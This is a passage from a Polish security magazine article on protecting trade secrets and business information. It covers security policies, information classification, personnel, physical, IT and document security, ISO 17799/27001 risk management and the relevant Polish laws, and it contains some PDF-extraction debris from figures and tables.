spółki, tajemnica przedsiębiorcy, poufne 
firmy lub oznaczenia angielskie (w 
firmach z kapitałem zagranicznym): 
commercial in confidence, company 
confidence, company secret
 itp. 

Dobrą praktyką w celu ustanowienia 

instytucji tajemnicy przedsiębiorstwa 
jest przyjęcie i zakomunikowanie 
pracownikom woli oraz interesu 
najwyższego kierownictwa firmy co do 
potrzeby ochrony własnych informacji 
biznesowych. Wśród uregulowań 
wewnętrznych normalizujących 
ochronę tych informacji w 
przedsiębiorstwie należy wymienić: 
politykę bezpieczeństwa informacji 
biznesowych, regulamin ochrony 
tajemnicy przedsiębiorstwa, wykaz 
informacji stanowiących tajemnicę 
przedsiębiorstwa i szczegółowe 
procedury bezpieczeństwa obejmujące 
swym zasięgiem: bezpieczeństwo 
osobowe, bezpieczeństwo fizyczne 
i środowiskowe, bezpieczeństwo 
dokumentów, nośników informacji i ich 
obieg, bezpieczeństwo teleinformatyczne 
oraz w szczególnych przypadkach 
bezpieczeństwo przemysłowe.

Polityka bezpieczeństwa informacji 

biznesowych – jako akt najwyższego 
poziomu – powinna wyrażać wolę 
najwyższego kierownictwa co do 
potrzeby i konieczności ochrony 
tych informacji, obowiązki właścicieli 
informacji, wymagania techniczne 
i organizacyjne oraz zakres 
odpowiedzialności za ochronę tych 
informacji. Stanowi ona dokument 
programowy. Natomiast regulamin 
ochrony tajemnicy przedsiębiorstwa, 
wykaz informacji stanowiących 
tajemnicę przedsiębiorstwa i procedury 
bezpieczeństwa stanowią dokumenty 
wykonawcze, które przynoszą nam 
odpowiedź, w jaki sposób należy chronić 
własne informacje biznesowe.

Wykaz informacji stanowiących 

tajemnicę przedsiębiorstwa może 
mieć charakter zamknięty lub 
otwarty (ramowy) i powinien zawierać 
rodzaje informacji podlegających 
ochronie. Wykaz ten może obejmować 

takie informacje, jak: informacje 
organizacyjne, informacje kadrowo-
finansowe, informacje handlowe, 
informacje techniczne i technologiczne 
z ich podziałem na informacje 
strategiczne, taktyczne i operacyjne.  

Zasady ochrony tajemnicy 

przedsiębiorstwa określone w 
regulaminie powinny bazować na 
najlepszych praktykach wynikających 
z normy ISO 17799 i przepisów 
wykonawczych do ustaw: ustawy o 
ochronie danych osobowych i ustawy o 
ochronie informacji niejawnych. Poziom 
ochrony powinien być adekwatny do 
wartości informacji: podstawowy – dla 
informacji operacyjnych (bieżących), 
mających krótkotrwałe znaczenie, 
podwyższony – dla informacji 
taktycznych (ważność tych informacji 
określa się na okres od kilku miesięcy 
do roku czasu) oraz wysoki – dla 
informacji strategicznych (ważność tych 

informacji określa się na okres powyżej roku). 
Oczywiście podział ten jest umowny. Dobrą 
praktyką jest, aby każda jednostka/komórka 
organizacyjna przedsiębiorstwa określiła, jakie 
informacje podlegają ochronie w jej ramach, 
jaką wartość przedstawiają te informacje, z 
jakim ryzykiem się wiążą i wreszcie – jakie 
ewentualne straty dla firmy może przynieść 
utrata ich poufności z tytułu nieuprawnionego 
ujawnienia. O nadaniu dokumentowi 
klauzuli 'tajemnica przedsiębiorstwa' 
decyduje osoba podpisująca dokument. 
To właściciel informacji najlepiej zna jej 
wartość. Podstawą klasyfikacji informacji 
jest wykaz informacji stanowiących 
tajemnicę przedsiębiorstwa. Należy mieć 
świadomość, że informacje stanowiące 
tajemnicę przedsiębiorstwa chronimy nie 
tylko w firmie, ale również poza firmą, w 
trakcie spotkań czy delegacji, a także w 
domu podczas rozmów. 

Rysunek 1. 

Zależności pomiędzy elementami bezpieczeństwa

Tabela 1. 

Zawartość polityki bezpieczeństwa informacji biznesowych

Lp. Zawartość polityki bezpieczeństwa informacji biznesowych

1

Cel

2

Zakres

3

Zobowiązanie kierownictwa organizacji

4

Obowiązki kadry kierowniczej

5

Wymagania organizacyjne i techniczne przetwarzania informacji biznesowych

6

Odpowiedzialność za ochronę informacji biznesowych

7

Zakres rozpowszechnienia polityki

������

��

��

��

��

��

��

��

��

��

��

��

��

��������
����������
����������������������
�������������������
���������������
������������

����������

background image

BEZPIECZNA FIRMA

68

 

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

69

 

HAKIN9 

4/2008

Ograniczenia w dostępie 

do tajemnic przedsiębiorstwa

Przepisy ustawy – prawo zamówień 
publicznych dopuszczają pewne 
ograniczenia związane z zasadą 
jawności postępowania. (Co do zasady, 
postępowanie o udzielenie zamówienia 
publicznego jest jawne.) Przykładem 
takiego ograniczenia jest zapis art. 8 ust. 
3
 ww. ustawy stanowiący, że zamawiający 
nie może ujawniać informacji 
zastrzeżonych przez wykonawcę jako 
tajemnicę przedsiębiorstwa. Aby tak się 
stało, wykonawca musi wyraźnie zastrzec, 
że nie mogą one być udostępniane 
zarówno innym przedsiębiorcom 
biorącym udział w przetargu, jak i 
każdej zainteresowanej osobie. Jest 
to zapis, który warto wykorzystywać w 

postępowaniu o zamówienie publiczne. 
Również ustawa o dostępie do informacji 
publicznej zawiera ograniczenia w 
dostępie do tych informacji. Zgodnie z 
treścią art. 5, prawo dostępu do informacji 
publicznej podlega ograniczeniu w 
zakresie i na zasadach określonych 
w przepisach o ochronie informacji 
niejawnych oraz o ochronie innych 
tajemnic ustawowo chronionych (ust. 1), a 
także ze względu na prywatność osoby 
fizycznej lub tajemnicę przedsiębiorcy 
(ust. 2). Warto korzystać z tej zasady.

System ochrony 

tajemnicy przedsiębiorstwa 

W celu ochrony informacji biznesowych 
należy zbudować system ochrony 
tajemnicy przedsiębiorstwa. W pierwszej 

kolejności należy dokonać analizy 
ryzyka, następnie dokonać klasyfikacji 
informacji i dobrać zabezpieczenia. 
Skuteczny system ochrony powinien być 
kompleksowy i obejmować wszystkie 
obszary działania przedsiębiorstwa. Na 
system bezpieczeństwa firmy powinny 
składać się przedsięwzięcia dotyczące 
następujących segmentów (zagadnień): 
po pierwsze – bezpieczeństwo 
osobowe, po drugie – bezpieczeństwo 
fizyczne i środowiskowe, po – trzecie 
bezpieczeństwo dokumentów, nośników 
informacji oraz ich obieg, po czwarte 
– bezpieczeństwo teleinformatyczne 
i (w szczególnych wypadkach) 
bezpieczeństwo przemysłowe.

Bezpieczeństwo osobowe

Człowiek jest najsłabszym elementem 
systemu ochrony informacji. Jak wynika 
ze statystyk, około 80 % incydentów 
związanych z przetwarzaniem informacji 
spowodowanych jest przez czynnik 
ludzki. Powiedzenie kadry decydują 
o wszystkim
 jest jak najbardziej 
prawdziwe. 

Przetwarzanie informacji 

biznesowych stanowiących tajemnicę 
przedsiębiorstwa wymaga, aby 
personel spełniał dodatkowe 
wymagania. W przypadku przetwarzania 
informacji niejawnych pracownik 
powinien posiadać poświadczenie 
bezpieczeństwa uprawniające do 
dostępu do dokumentów i materiałów 
o określonej klauzuli tajności (ściśle 
tajne, tajne, poufne, zastrzeżone). 
Poświadczenie bezpieczeństwa daje 
rękojmię zachowania tajemnicy przez 
zainteresowanego. W przypadku 
przetwarzania danych osobowych 
administrator danych wydaje osobie 
przetwarzającej dane osobowe 
upoważnienie do przetwarzania danych 
osobowych. Z kolei dostęp do tajemnicy 
przedsiębiorstwa (przedsiębiorcy) 
wymaga od pracownika podpisania 
zobowiązania do zachowania tajemnicy. 

Warto w tym miejscu również 

przytoczyć zapisy § 3 Rozporządzenia 
Ministra Pracy i Polityki Socjalnej z dnia 
28 maja 1996 r. w sprawie zakresu 
prowadzenia przez pracodawców 
dokumentacji w sprawach związanych 
ze stosunkiem pracy oraz sposobu 

Tabela 3. 

Przykłady tajemnicy przedsiębiorstwa

Lp. Przykłady tajemnicy przedsiębiorstwa

1

wynalazki dające się do opatentowania

2

plany kampanii marketingowych

3

plany restrukturyzacji

4

wzory użytkowe lub zdobnicze

5

plany techniczne

6

sposoby zbierania informacji

7

listy klientów

8

metody kontroli jakości towarów i usług

9

sposoby marketingu

10 sposoby organizacji pracy
11 wyniki badań prowadzonych w przedsiębiorstwie
12 dane o wielkości produkcji i sprzedaży
13 źródła zaopatrzenia
14 miejsca zbytu
15 know-how (informacje produkcyjne, handlowe, projekty racjonalizatorskie)

Tabela 2. 

Zawartość regulaminu ochrony tajemnicy przedsiębiorstwa

Lp.

Zawartość regulaminu ochrony tajemnicy przedsiębiorstwa

1

Postanowienia ogólne

2

Zasady klasyfikacji informacji

3

Zasady ochrony tajemnicy przedsiębiorstwa

4

Zasady udostępniania tajemnicy przedsiębiorstwa

5

Zakaz konkurencji

6

Szkolenie pracowników z zakresu ochrony tajemnicy przedsiębiorstwa 

7

Odpowiedzialność za ochronę tajemnicy przedsiębiorstwa

8

Postanowienia końcowe

background image

BEZPIECZNA FIRMA

68

 

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

69

 

HAKIN9 

4/2008

prowadzenia akt osobowych. Ww. 
paragraf stanowi, że: Pracodawca 
przed dopuszczeniem pracownika 
do pracy uzyskuje jego pisemne 
potwierdzenie zapoznania się z treścią 
regulaminu pracy oraz z przepisami i 
zasadami dotyczącymi bezpieczeństwa 
i higieny pracy, a także z zakresem 
informacji objętych tajemnicą określoną 
w obowiązujących ustawach dla 
umówionego z pracownikiem rodzaju 
pracy
. Warto na co dzień korzystać z 
tego zapisu.

Również w obrocie gospodarczym, 

przed rozpoczęciem negocjacji 
handlowych, coraz częściej obserwujemy 
wśród przedsiębiorców praktykę 
podpisywania umów o poufności. 
Ryzyko wycieku informacji 

gospodarczych z organizacji zmusza 
przedsiębiorców do zajęcia się 
problemem bezpieczeństwa personelu. 
Najczęściej z firmy wyciekają informacje 
biznesowe, dane personalne klientów 
oraz własność intelektualna: pomysły 
nowych rozwiązań czy kody źródłowe 
oprogramowania. O bezpieczeństwie 
kadrowym musimy myśleć już na 
etapie rekrutacji personelu, następnie 
monitorować je w czasie trwania 
stosunku pracy, aż do momentu 
rozwiązania z pracownikiem umowy o 
pracę. Dotyczy to zwłaszcza kluczowego 
personelu. Z menedżerami najwyższego 
szczebla należy podpisać umowy o 
zakazie konkurencji.  Ważne jest, aby na 
co dzień przestrzegać zasady 'wiedzy 
koniecznej' (ang. need to know), a nie 

zasady 'przyjemnie byłoby wiedzieć' 
(ang. nice to know). W oparciu o role 
w organizacji pracownicy powinni 
posiadać określone prawa i mieć 
zdefiniowany zakres dostępu do 
zasobów informacyjnych, zwłaszcza w 
systemach informatycznych. Uprawnienia 
te powinny być okresowo przeglądane 
i weryfikowane. Zgodnie z normą ISO 
17799 bezpieczeństwo osobowe ma 
na celu ograniczenie ryzyka błędu 
ludzkiego, kradzieży, oszustwa lub 
niewłaściwego użytkowania zasobów

W aktach osobowych pracownika 
powinny znaleźć się stosowne zapisy 
dotyczące zachowania poufności lub 
nieujawniania informacji pozyskanych 
w czasie stosunku pracy, jak i po jego 
zakończeniu (np. umowa o zakazie 

Tabela 4. 

Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji

Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji
Stopień

Nazwa

Charakterystyka

0

Brak świadomościt

brak zdefiniowania wymagań bezpieczeństwa

bezpieczeństwo traktowane jest jako problem poszczególnych użytkowników

I

Początkowy

świadomość potrzeby

kierownictwo uważa to za problem IT (typu: prawa dostępu, ochrona antywirusowa)

II

Intuicyjny

próby tworzenia zabezpieczeń

brak jednolitego podejścia

efekty zależne od zaangażowania osób zainteresowanych

III

Zdefiniowany

zdefiniowane zasady (w tym Polityka bezpieczeństwa) w całej organizacji

procedury bezpieczeństwa są utrzymywane i komunikowane

brak kontroli stosowania

IV

Zarządzany

jednolite podejście dla wszystkich komórek i wszystkich rozwiązań

obowiązuje perspektywa biznesu

funkcjonuje mechanizm kontroli stosowania

V

Optymalizowany 

świadome zarządzanie ryzykiem

zgodność strategii bezpieczeństwa ze strategią biznesową

zapewnienie bezpieczeństwa traktowane jako proces (wiedza, doskonalenie)

Tabela 5. 

Atrybuty informacji podlegających ochronie

Atrybuty

informacji

Bezpieczeństwo informacji 
ISO 

17799

Informacje 

niejawne

Dane

osobowe

Tajemnica

przedsiębiorstwa

Tajemnica

przedsiębiorstwa

Poufność

Tak

Tak

Tak

Tak

Tak

Integralność

Tak

Tak

Tak

Dostępność

Tak

Tak

Rozliczalność

Tak

Tak

Autentyczność

Tak

Niezaprzeczalność Tak

Niezawodność

Tak

background image

BEZPIECZNA FIRMA

70

 

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

71

 

HAKIN9 

4/2008

konkurencji) i zapisy dotyczące 
odpowiedzialności pracownika za 
ochronę (bezpieczeństwo) informacji.

Kevin Mitnick w swojej książce 

Sztuka podstępu pisze łamałem ludzi 
nie hasła
. Dlatego też należy cyklicznie 
szkolić własny personel, uświadamiać 
zagrożenia i wskazywać na potrzebę 
ochrony informacji biznesowych. 
Tematem szkoleń powinny być procedury 
bezpieczeństwa wynikające z przyjętej 
w organizacji polityki bezpieczeństwa 
informacji, zwłaszcza zasady dostępu 
do informacji i obiegu dokumentów, 
procedury udostępniania i powierzania 
przetwarzania informacji posiadających 
wartość gospodarczą. 

Kluczowe znaczenie dla 

bezpieczeństwa ekonomicznego 
organizacji ma odporność własnego 
personelu na działania i metody 
socjotechniczne stosowane przez 
osoby zatrudnione w wywiadzie 
konkurencyjnym i gospodarczym. 
Kształtowanie świadomości pracowników 
to najlepsza, najbardziej skuteczna, 
najtańsza i wciąż niedoceniana 
metoda ochrony informacji, na którą 
stać wszystkich przedsiębiorców 

– bez względu na wielkość instytucji. 
Poddaję to pod rozwagę kierujących 
organizacjami.

Bezpieczeństwo

fizyczne i środowiskowe

Ochrona fizyczna jest najstarszą 
metodą ochrony zasobów materialnych 
i informacyjnych. Stanowi pierwszą 
linię obrony. Jeżeli w przedsiębiorstwie 
nie wdrożono podstawowych środków 
ochrony fizycznej, to nie można mówić 
o jakimkolwiek bezpieczeństwie. 
Zastosowane środki ochrony fizycznej 
kształtują wizerunek firmy wśród klientów 
i zapewniają poczucie bezpieczeństwa jej 
pracownikom.

Norma ISO 17799 dotycząca 

zarządzania bezpieczeństwem informacji 
stanowi, że celem bezpieczeństwa 
fizycznego i środowiskowego jest 
zapobieganie nieuprawnionemu 
dostępowi, uszkodzeniom i ingerencji w 
pomieszczenia instytucji i jej informację. 
Natomiast urządzenia do przetwarzania 
krytycznych lub wrażliwych informacji 
powinny być ulokowane w obszarach 
bezpiecznych, chronionych wyznaczonym 
obwodem zabezpieczającym z 

odpowiednimi barierami i kontrolą 
wstępu.

Polityka w zakresie ochrony fizycznej 

instytucji powinna wynikać z jej strategii 
biznesowej. Dobór zabezpieczeń należy 
wykonywać w oparciu o przeprowadzaną 
okresowo analizę ryzyka. Zastosowane 
zabezpieczenia powinny być 
współmierne do zidentyfikowanych 
zagrożeń. Z uwagi na koszty należy 
rozważyć wdrożenie następujących 
środków ochrony:

•   działania organizacyjne 

(opracowanie regulaminów, 
procedur),

•   ochrona czynna (np. wynajęcie firmy 

ochroniarskiej),

•   ochrona bierna (wdrożenie systemu 

zabezpieczeń architektoniczno-
budowlanych, mechanicznych i 
elektronicznych: systemu włamania 
i napadu, systemu kontroli dostępu, 
systemu sygnalizacji pożarowej, 
systemu telewizji dozorowej, systemu 
nagłośnienia ewakuacyjnego 
budynku, systemu zasilania 
awaryjnego, zintegrowanego systemu 
bezpieczeństwa i w niezbędnym 

Tabela 6. 

Podstawowe zasady ochrony informacji

Podstawowe zasady ochrony informacji 
Lp. Zasada

Treść zasady

1

Zasada przywilejów koniecznych

Każdy użytkownik systemu informatycznego posiada prawa ograniczone wyłącznie do tych, 

które są konieczne do wykonywania powierzonych mu zadań 

2

Zasada wiedzy koniecznej

Pracownicy posiadają wiedzę o systemie informatycznym, ograniczoną wyłącznie do 

zagadnień, które są konieczne do realizacji powierzonych zadań

3

Zasada usług koniecznych 

Zakres dostępnych usług systemu jest ograniczony tylko do tych, które są konieczne do 

prawidłowego funkcjonowania organizacji

4

Zasada asekuracji zabezpieczeń Ochrona systemu informatycznego nie może opierać się wyłącznie o jeden mechanizm 

zabezpieczenia, nawet gdy zastosowana technologia jest uznawana za wysoce 

zaawansowaną  i niezawodną

5

Zasada pracy zbiorowej

Wszyscy użytkownicy systemu informatycznego są świadomi konieczności ochrony 

wykorzystywanych zasobów

6

Zasada indywidualnej 

odpowiedzialności 

Za utrzymanie właściwego poziomu bezpieczeństwa poszczególnych elementów systemu 

informatycznego odpowiadają konkretne osoby, które mają świadomość tego za co są 

odpowiedzialne i jakie konsekwencje poniosą jeżeli zaniedbają swoje obowiązki

7

Zasada obecności koniecznej

Prawo przebywania w określonych pomieszczeniach mają wyłącznie osoby, które są do tego 

upoważnione lub posiadają tymczasową zgodę wydaną przez odpowiedni organ nadzorczy

8

Zasada stałej gotowości 

System ochrony jest przygotowany do odparcia wszystkich realnych zagrożeń. Pod żadnym 

pozorem nie może zdarzyć się sytuacja tymczasowego wyłączenia zabezpieczeń, która 

pozostawi określone elementy systemu informatycznego bez ochrony

9

Zasada najsłabszego 'ogniwa 

łańcucha'

Poziom bezpieczeństwa systemu informatycznego wyznacza najsłabszy (najmniej 

zabezpieczony ) element tego systemu. Z reguły, włamanie do systemu odbywa się poprzez 

wyszukiwanie luk w systemie ochrony

background image

BEZPIECZNA FIRMA

70

 

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

71

 

HAKIN9 

4/2008

zakresie 

•   asekuracja (zawarcie umowy 

ubezpieczeniowej).

Warto zauważyć, że nie wszystkie zasoby 
informacyjne warto zabezpieczać lub 
chronić – należy określić poziom ryzyka 
akceptowalnego. Ważne jest, aby przyjęte 
rozwiązania organizacyjne, środki 
zabezpieczeń i ochrony oraz asekuracja 
wzajemnie się uzupełniały.

Kształtowanie właściwej polityki 

bezpieczeństwa fizycznego zasobów 
(ochrona osób, mienia i informacji) 
wymaga kompleksowego podejścia, 
a nie działania na zasadzie intuicji. 
Możemy wówczas mówić o prawdziwym 
bezpieczeństwie, a nie o pozorach 
bezpieczeństwa, tym bardziej, że 
bezpieczeństwo fizyczne sporo kosztuje. 
Poddaję to pod rozwagę zarządzającym 
organizacjami. 

Bezpieczeństwo 

teleinformatyczne

Pierwszym standardem obejmującym 
kompleksowo zarządzanie 
bezpieczeństwem informacji jest norma 
ISO 17799 (PN-ISO/IEC 17799: 2007)
Zawiera ona wytyczne zarządzania 
bezpieczeństwem informacji. Dotyczy 
następujących obszarów: bezpieczeństwa 
fizycznego i środowiskowego, 
bezpieczeństwa osobowego, 
bezpieczeństwa IT, zarządzenia ciągłością 
działania i zapewnienia zgodności z 
przepisami prawa. 

Zgodnie z normą informacja jest 

aktywem, który – podobnie jak inne ważne 
aktywa biznesowe – ma dla instytucji 
wartość i dlatego należy ją odpowiednio 
chronić. Z kolei bezpieczeństwo informacji 
oznacza ochronę informacji przed różnymi 
zagrożeniami w taki sposób, aby zapewnić 
ciągłość działania – realizację celów 
statutowych instytucji, zminimalizować 
straty i zmaksymalizować zwrot nakładów 
na inwestycje i działania o charakterze 
biznesowym. Norma ISO 17799 odnosi się 
do 7 aspektów informacji podlegających 
ochronie: poufności, integralności, 
dostępności, rozliczalności, autentyczności, 
niezaprzeczalności i niezawodności. 
W przypadku informacji biznesowych 
stanowiących tajemnicę przedsiębiorstwa 
największe znaczenie dla bezpieczeństwa 

informacji ma ochrona poufności, 
tzn. zapewnienie, żeby informacja 
nie była udostępniana lub ujawniana 
nieautoryzowanym osobom, podmiotom 
lub procesom. Jak wynika z praktyki, 
najczęściej z firm informacje wyciekają 
za pośrednictwem poczty elektronicznej, 
komunikatorów internetowych i sieci 
bezprzewodowych. Cenne informacje 
pracownicy wynoszą na płytach CD/DVD, 
nagrane na pamięciach USB lub w postaci 
dokumentów papierowych (kserokopie). 
Zdarzają się przypadki podkupywania 
pracowników, kradzieży sprzętu, 
prowadzenia podsłuchów, czy szpiegostwa 
gospodarczego i przemysłowego.

Oprócz normy ISO 17779 istnieją inne 

standardy dotyczące bezpieczeństwa. 
Przykładem może być standard 
Wytyczne w sprawie bezpieczeństwa 
systemów informacyjnych
, wydany przez 
Organizację Rozwoju i Współpracy 
Gospodarczej
 (OECD), która zrzesza 

najbardziej uprzemysłowione kraje 
świata, w tym Polskę. Wytyczne te mogą 
stanowić uzupełnienie norm dotyczących 
bezpieczeństwa informacji.

Podstawą zarządzania 

bezpieczeństwem informacji jest analiza 
i zarządzanie ryzykiem. W oparciu o 
wyniki procesu analizy ryzyka następuje 
dobór zabezpieczeń. Zastosowane 
zabezpieczenia powinny być efektywne 
kosztowo i uwzględniać wymagania 
wynikające z przepisów prawa, 
wymagania biznesowe i wymagania z 
analizy ryzyka zasobów posiadających 
wartość dla działania instytucji. Ryzyko, 
jakie powstaje po wprowadzeniu 
zabezpieczeń, nazywamy ryzykiem 
szczątkowym.

Przyjęta strategia analizy ryzyka 

powinna uwzględniać warunki 
charakterystyczne dla przedsiębiorstwa i 
koncentrować się na działaniach związanych 
z bezpieczeństwem, tam gdzie są one 

Rysunek 2. 

Związki w zarządzaniu ryzykiem

���������
����������

�������

������

������

��������������

�������

��������

�����������������

����������

���������

��������

����������

���������

������������

����������

����������

�������������

�������������
�����������������
��������������
���������������������

Tabela 7. 

Dobre praktyki w przetwarzaniu dokumentów

Lp.

Dobre praktyki w przetwarzaniu dokumentów

1

obieg dokumentów kontrolowany (przekazywanie za pokwitowaniem odbioru)

2

dostęp do dokumentów elektronicznych zgodny z przyznanymi uprawnieniami

3

udostępnianie dokumentów tylko osobom uprawnionym

4

określona osobista odpowiedzialność za przetwarzanie dokumentów 

5

dokumenty źródłowe odpowiednio chronione

6

dostęp do pomieszczeń kontrolowany

7

zapewnione warunki środowiskowe w pomieszczeniach 

8

kopie awaryjne wykonywane i odpowiednio przechowywane

background image

BEZPIECZNA FIRMA

72

 

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

73

 

HAKIN9 

4/2008

naprawdę potrzebne. 

Raport techniczny ISO/IEC TR 13335-

3 przedstawia 4 warianty podejścia do 
analizy ryzyka: podejście podstawowego 
poziomu bezpieczeństwa, podejście 
nieformalne, szczegółową analizę ryzyka 
i podejście mieszane. Podstawowa 
różnica pomiędzy nimi dotyczy stopnia 
szczegółowości analizy ryzyka. 

Podejście podstawowego poziomu 

bezpieczeństwa polega na wprowadzeniu 
standardowych zabezpieczeń niezależnie 
od ryzyka wynikającego z analizy 
zasobów, zagrożeń i podatności. Podejście 
nieformalne
 polega na wykorzystaniu wiedzy 
i doświadczenia ekspertów, koncentruje 
się na zasobach narażonych na wysokie 
ryzyko. Z kolei szczegółowa analiza ryzyka 
wymaga identyfikacji i wyceny aktywów, 
oszacowania zagrożeń oraz oszacowania 
podatności. Podejście czwarte, podejście 

mieszane obejmuje dwa etapy. W 
pierwszym etapie przeprowadza się ogólną 
analizę ryzyka dla wszystkich zasobów z 
uwzględnieniem ich wartości biznesowej 
i ryzyka, na które są one narażone. Dla 
wszystkich zidentyfikowanych zasobów, które 
są ważne dla przedsiębiorstwa i narażone 
na wysokie ryzyko, przeprowadza się później 
szczegółową analizę ryzyka. W drugim 
etapie dla pozostałych zasobów należy 
zastosować podejście podstawowego 
poziomu bezpieczeństwa. 

Przyjęcie podejścia mieszanego 

zalecane jest dla większości przedsiębiorstw. 
Jest ono najbardziej efektywne 
– szczegółowa analiza ryzyka dla zasobów 
posiadających wartość lub narażonych 
na wysokie ryzyko, a dla pozostałych 
zasobów zastosowanie podstawowego 
poziomu bezpieczeństwa, czyli wdrożenie 
standardowych zabezpieczeń.  Aby 

skutecznie zarządzać bezpieczeństwem 
informacji w przedsiębiorstwie, 
należy wdrożyć system zarządzania 
bezpieczeństwem informacji (SZBI). 
Powinien on stanowić część składową 
systemu zarządzania przedsiębiorstwem 
i być oparty na podejściu wynikającym 
z ryzyka biznesowego. Norma zaleca 
podejście systemowe oparte na ciągłym 
doskonaleniu zgodnie z cyklem PDCA 
(Plan-Do-Check-Act) Deminga obejmującym: 
ustanowienie SZBI, wdrożenie i eksploatację 
SZBI, monitorowanie i przeglądy SZBI oraz 
utrzymanie i doskonalenie SZBI. 

Do certyfikacji systemów zarządzania 

bezpieczeństwem informacji przeznaczona 
jest norma BS 7799-2 (PN-ISO/IEC 27001: 
2007)
. Norma 27001 umożliwia budowę w 
przedsiębiorstwie zintegrowanego systemu 
zarządzania jakością w oparciu o normę 
ISO 9001 i normę ISO 17799. Wdrożenie 
zintegrowanego systemu zarządzania 
w przedsiębiorstwie pozwala osiągnąć 
wymierne korzyści: objąć systemem 
wszystkie obszary działania firmy, zwrócić 
uwagę na ochronę informacji biznesowych 
i ich wartość, zwiększyć zainteresowanie 
w firmie technologiami ICT, spowodować 
prowadzenie analizy i zarządzania 
ryzykiem, zapewnić opracowanie planów 
ciągłości działania, uzyskać przewagę nad 
konkurencją i poprawić wizerunek firmy. 

Bezpieczeństwo

dokumentów i nośników

Podstawowym warunkiem ładu 
dokumentacyjnego w przedsiębiorstwie 
jest ustalenie systemu obiegu 
dokumentów i nośników oraz systemu 
przechowywania i archiwowania 
dokumentacji
. Instrukcje wewnętrzne 
ustalające ład dokumentacyjny (instrukcja 
kancelaryjna, instrukcja archiwalna) 
tworzy się na podstawie obowiązujących 
przepisów prawa, wymagań otoczenia 
instytucjonalnego oraz potrzeb 
biznesowych. Ład dokumentacyjny 
określają przede wszystkim: ustawa 
o narodowym zasobie archiwalnym 
i archiwach
 oraz rozporządzenia 
wykonawcze do ustawy, przepisy 
podatkowe, przepisy o rachunkowości, 
przepisy o ubezpieczeniach społecznych 
i zdrowotnych, o rentach i emeryturach, 
przepisy prawa pracy oraz inne. Przepisy 
prawa archiwalnego dotyczą całej 

Podstawowe akty prawne związane z ochroną 

informacji biznesowych:

•   Ustawa – Kodeks cywilny – 1964 rok,
•   Ustawa – Kodeks pracy – 1974 rok,
•   Ustawa o narodowym zasobie archiwalnym i archiwach – 1983 rok,
•   Ustawa o zwalczaniu nieuczciwej konkurencji – 1993 rok,
•   Ustawa o prawie autorskim i prawach pokrewnych – 1994 rok,
•   Ustawa o rachunkowości – 1994 rok,
•   Ustawa o ochronie danych osobowych – 1997 rok,
•   Ustawa o ochronie osób i mienia – 1997 rok,
•   Ustawa – Kodeks karny – 1997 rok,
•   Ustawa o ochronie informacji niejawnych – 1999 rok,
•   Ustawa – Prawo własności przemysłowej – 2000 rok,
•   Ustawa – Kodeks spółek handlowych – 2000 rok,
•   Ustawa o dostępie do informacji publicznej – 2001 rok,
•   Ustawa o udostępnianiu informacji gospodarczych – 2003 rok,
•   Ustawa o przeciwdziałaniu nieuczciwym praktykom rynkowym – 2007 rok.

Terminologia

Podstawowe pojęcia związane z ochroną informacji biznesowych:

•   tajemnica przedsiębiorstwa – nieujawnione do wiadomości publicznej informacje techniczne, 

technologiczne, organizacyjne przedsiębiorstwa lub inne informacje posiadające wartość 
gospodarczą, co do których przedsiębiorca podjął niezbędne działania w celu zachowania ich 
w poufności,

•   dane osobowe – wszelkie informacje dotyczące zidentyfikowanej lub możliwej do 

zidentyfikowania osoby fizycznej,

•   informacje niejawne – informacje, które wymagają ochrony przed nieuprawnionym 

ujawnieniem, stanowiące tajemnicę państwową lub służbową,

•   czyn nieuczciwej konkurencji – działanie sprzeczne z prawem lub dobrymi obyczajami, 

jeżeli zagraża to lub narusza interes innego przedsiębiorcy lub klienta. Czynem nieuczciwej 
konkurencji jest w szczególności naruszenie tajemnicy przedsiębiorcy,

•   poufność – właściwość zapewniająca, że informacja nie jest udostępniana lub ujawniana 

nieautoryzowanym osobom, podmiotom lub procesom.

background image

BEZPIECZNA FIRMA

72

 

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

73

 

HAKIN9 

4/2008

dokumentacji przedsiębiorstwa, bez 
rozróżniania jej na dokumentację jawną 
i dokumentację niejawną. Oznacza 
to, że zasady wydzielania, oceny i 
brakowania dokumentacji niejawnej są 
takie same, jak dla dokumentacji jawnej. 
Różnica polega jedynie na zasadach 
ochrony przed nieuprawnionym jej 
ujawnieniem. Zgodnie z ustawą o 
narodowym zasobie archiwalnym i 
archiwach, dokumentację dzieli się na 
dokumentację archiwalną i dokumentację 
niearchiwalną
. Dokumentację archiwalną 
przechowuje się wieczyście i oznacza 
się symbolem A według kategorii 
archiwalnej dokumentacji. Zgodnie 
z przepisami ustawy dokumentację 
archiwalną
 stanowią wszelkiego rodzaju 
akta i dokumenty, korespondencja, 
dokumentacja finansowa, techniczna 
i statystyczna, mapy i plany, fotografie, 
filmy i mikrofilmy, nagrania dźwiękowe i 
wideofonowe oraz inna dokumentacja, 
bez względu na sposób jej wytworzenia, 
mająca znaczenie jako źródło 
informacji o wartości historycznej 
Państwa Polskiego, jego organów 
i innych państwowych jednostek 
organizacyjnych oraz o jego stosunkach 
z innymi państwami, o rozwoju życia 
społecznego i gospodarczego, o 
działalności organizacji o charakterze 
politycznym, społecznym i gospodarczym, 
zawodowym i wyznaniowym, o 

organizacji i rozwoju nauki, kultury i 
sztuki, a także o działalności samorządu 
terytorialnego i innych samorządowych 
jednostek organizacyjnych – powstała w 
przeszłości i współcześnie. Dokumentacja 
niearchiwalna
 ma jedynie czasową, 
praktyczną wartość dla przedsiębiorstwa 
i podlega brakowaniu po upływie 
obowiązujących okresów przechowywania. 
Dokumentację tę oznacza się symbolem 
B według kategorii archiwalnej 
dokumentacji, uzupełnionym cyfrą arabską 
lub literą i cyfrą arabską. Cyfra określa 
okres przechowywania dokumentacji, który 
liczy się w pełnych latach kalendarzowych, 
od 1 stycznia roku następnego, w którym 
została zakończona teczka akt spraw. 
Podział rodzajowy dokumentacji dotyczący 
poszczególnych spraw określa rzeczowy 
wykaz akt
, który każda firma powinna 
opracować. 

Nadzór nad prawidłowym 

kwalifikowaniem akt na kategorie 
w państwowych i samorządowych 
jednostkach organizacyjnych sprawują 
archiwa państwowe, w pozostałych 
